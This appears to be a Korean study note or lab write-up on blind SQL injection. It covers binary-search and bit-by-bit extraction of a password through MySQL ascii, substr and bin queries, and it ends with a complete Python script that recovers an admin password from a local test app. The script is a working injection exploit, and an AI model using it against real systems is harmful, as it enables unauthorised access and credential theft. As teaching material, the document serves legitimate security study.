개념
Binary Search 알고리즘 방식
| Username | password |
|---|---|
| admin | P@ssword |
위와 같은 데이터가 있다고 가정할 때
우리는 SQL문에 ascii값이 몇 보다 큰지를 따짐으로써 다음과 같이 더 빨리 사용자의 비밀번호를 찾을 수 있다.
mysql> select * from users where username='admin' and ascii(substr(password, 1, 1))>79;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.00 sec)Bit 연산 방식
ASCII는 0~127 범위의 문자를 표현할 수 있으며, 이는 곧 7비트를 하나의 문자로 표현할 수 있다는 것을 알 수 있다.
Mysql에서는 bin 이라는 명령어를 제공해 준다.
| Username | password |
|---|---|
| admin | P@ssword |
다음과 같은 테이블이 있다고 가정할 때,
mysql> select * from users where username='admin' and substr(bin(ord(password)),1,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),2,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),3,1)=1;
+----------+----------+
| username | password |
+----------+----------+
| admin | P@ssword |
+----------+----------+
1 row in set (0.01 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),4,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),5,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),6,1)=1;
Empty set (0.00 sec)
mysql> select * from users where username='admin' and substr(bin(ord(password)),7,1)=1;
Empty set (0.00 sec)실습
익스플로잇 설계
- admin 패스워드 길이 찾기
- 각 문자별 비트열 길이 찾기
- 각 문자별 비트열 추출
- 비트열을 문자로 변환
Admin 패스워드 길이 찾기
admin' and length(upw) = {password_length}--- -
위
from requests import get
host = "<http://localhost:5000>" #대상 url
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid{query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")각 문자별 비트열 길이 찾기
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")각 문자별 비트열 추출
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")비트열을 문자로 변환
password = ""
for i in range(1, password_length + 1):
...
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")최종 exploita
from requests import get
host = "<http://localhost:5000>"
password_length = 0
while True:
password_length += 1
query = f"admin' and char_length(upw) = {password_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"password length: {password_length}")
password = ""
for i in range(1, password_length + 1):
bit_length = 0
while True:
bit_length += 1
query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
break
print(f"character {i}'s bit length: {bit_length}")
bits = ""
for j in range(1, bit_length + 1):
query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
r = get(f"{host}/?uid={query}")
if "exists" in r.text:
bits += "1"
else:
bits += "0"
print(f"character {i}'s bits: {bits}")
password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)